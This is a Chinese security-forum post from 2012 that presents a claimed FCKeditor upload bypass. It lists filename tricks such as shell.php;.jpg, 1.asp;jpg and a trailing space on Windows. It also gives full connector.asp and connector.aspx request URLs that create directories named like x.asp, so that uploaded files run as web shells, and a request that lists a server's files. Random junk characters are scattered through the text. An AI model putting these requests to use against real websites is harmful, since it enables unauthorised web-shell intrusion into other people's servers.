找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2405|回复: 0
打印 上一主题 下一主题

FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:27:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
* {' ^& J7 O& x5 U; O2 k8 ^$ I6 s+ b# ]  [
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。8 o# h& Y9 k# [7 S# z( n

/ U6 k) W+ Z1 t" m继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
7 x) U6 A: r, s) I6 ]0 H9 Q$ m+ v, B# [$ o7 Q8 ~
突破建立文件夹:
9 W1 f( \" Z$ y/ g) _6 m0 A; D# t& M: c3 B, ?
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
& l( J& @3 w" R2 K+ p% f( {' R. q6 ~+ U( m! I
参数:0 F. f! x9 _( f- E
  V4 l4 Z3 c  z! `" O! r
当前目录名:CurrentFolder=/qing.asp% h$ W4 l$ T3 e( [8 N

) h* W. t) j' g& N/ p' ]( Z- }) R# E新的目录名:NewFolderName=x.asp7 U: r& V, ]+ w# w/ v

  Y0 R* h% ]  l4 V其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……
1 Q; Y* O' n0 N$ v6 t; u
6 t; }5 E# R% R0 R0 W那么 x.asp 就已经建立生成了,此方法百试百灵!
1 x3 L6 t% Z% n4 d% `7 K
# I. X6 U! f7 W/ D6 F新建文件夹参数 x.asp,基本都能搞定。; T; }4 A7 K7 x. A4 f

3 y# Y# p7 _" c  u! c8 d7 ^下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
2 N  v% ^7 Y. q# `
1 `5 T, T+ E* H  q  A0 X" haspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp% {9 u! `4 w  v  S

& u, _/ k9 B, m/ }/ _获取文件列表0 @6 ~: W( e. W9 I
       aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F3 G. n  S3 T! j

! s9 |1 p; m* j/ @' w9 j. T8 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表